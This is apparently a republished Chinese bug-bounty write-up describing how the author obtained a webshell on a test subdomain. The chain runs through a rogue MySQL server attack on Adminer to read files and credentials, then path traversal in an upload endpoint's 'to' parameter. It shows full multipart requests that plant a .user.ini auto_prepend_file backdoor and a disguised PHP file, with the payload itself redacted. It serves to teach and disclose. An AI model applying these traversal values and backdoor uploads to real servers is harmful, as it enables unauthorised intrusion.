记一次webshell的获取
2019-10-24 11:47:19 Author: mp.weixin.qq.com(查看原文) 阅读量:80 收藏

首先祝大家节日快乐,给大家的礼物就是下文啦
本文转自:先知社区
链接:https://xz.aliyun.com/t/6587

像往常一样闲来无事挖src,打开http://t.xxx.com.cn
开局就是一个登陆页面在登陆页面测试无果,随手输入http://t.test.xxx.com.cn
发现是403页面。

想起http://t.xxx.com.cn 是一个php的网站

遂尝试对http://t.test.xxx.com.cn 进行目录爆破,扫到如下php文件(其他目录没扫到什么文件就不列了)

http://t.test.xxx.com.cn/m.php
http://t.test.xxx.com.cn/ua.php
https://t.test.xxx.com.cn/receiver.php
https://t.test.xxx.com.cn/abc/config.php
https://t.test.xxx.com.cn/abc/index.php
发现m.php是一个adminer如下
看到这个页面尝试弱口令登陆无果,想起了前段时间做的MySQL服务端读取客户端的漏洞
poc: https://github.com/allyshka/Rogue-MySql-Server
在服务端监听后,使用adminer连接服务端

起初读/etc/passwd ,报错显示为opendir的关系,于是读取web文件,

于是读取 /data01/htdocs/m.php文件成功读取

由于已经发现有config.php,于是读取config.php 发现mysql配置文件,得到mysql账号名和密码
define('DB_USRE', 'abc');
define('DB_PWD', 'xxxxxxxxxxxxx'); 总之很长一串
登录后发现,就一个test表,权限非常低。遂放弃通过mysql获取webshell转而去分析其他文件。
分析到receiver.php的时候发现为一个文件上传的接口文件,代码如下:

经过分析代码后发现上传文件存在黑名单过滤,服务器为nginx服务器存在file、token、to参数。

另:绕过黑名单检查实现件上传的学习可以来合天网安实验室操作实验——绕过黑名单检查实现文件上传1,通过本实验了解文件上传漏洞产生的原因,掌握漏洞的利用方法,扫描下方二维码可以开始学习。

如果to和token都存在的话 会上传文件到/oss/public/目录下
但是可以通过拼接to参数形式把路径重定向到web目录下
构造如下表单

------------
-----------------------------57052814523281
Content-Disposition: form-data; name="to"

/../../data01/htdocs/1.shtml
-----------------------------57052814523281
Content-Disposition: form-data; name="token"

oYc8Xe1HsViIfAcF
-----------------------------57052814523281
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

123
-----------------------------57052814523281--

------------

成功上传html,但是又陷入了困境。
由于php被过滤,尝试php3 php5都不解析,猜测nginx只解析php文件,尝试nginx解析漏洞也无果。
这时想到p牛曾经提到的.user.ini后门,利用.user.ini造成文件包含的效果最近ctf也有出现。
https://xz.aliyun.com/t/6091
于是构造

------------

-----------------------------57052814523281
Content-Disposition: form-data; name="to"

/../../data01/htdocs/abc/.user.ini
-----------------------------57052814523281
Content-Disposition: form-data; name="token"

oYc8Xe1HsViIfAcF
-----------------------------57052814523281
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

auto_prepend_file=1.jpg
-----------------------------57052814523281--

------------

再上传jpg文件

------------

-----------------------------57052814523281
Content-Disposition: form-data; name="to"

/../../data01/htdocs/abc/1.jpg
-----------------------------57052814523281
Content-Disposition: form-data; name="token"

oYc8Xe1HsViIfAcF
-----------------------------57052814523281
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php
xxxxx
?>
-----------------------------57052814523281--

------------

然后访问https://t.test.xxx.com.cn/abc/config.php
成功获取webshell

由于是src,没有进行进一步的提权及内网渗透。

文件包含漏洞的学习,可以再合天网安实验室学习实验——文件包含漏洞-中级篇,本实验介绍了文件包含时绕过限制的原理,以及介绍利用文件包含漏洞读取源码的原理。扫描下方二维码或者点击文末“阅读原文”,可预览学习!

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:[email protected]

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!

点击“阅读全文”,做实验啦!

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&amp;mid=2652852461&amp;idx=1&amp;sn=0e79bb3d4c9069a39836ae9e3ca868c4&amp;chksm=bd592c208a2ea53643a149dd3743d1fe9fe3529e41823e45fe35e3aa83a1058d6a564e788f03#rd
如有侵权请联系:admin#unsafe.sh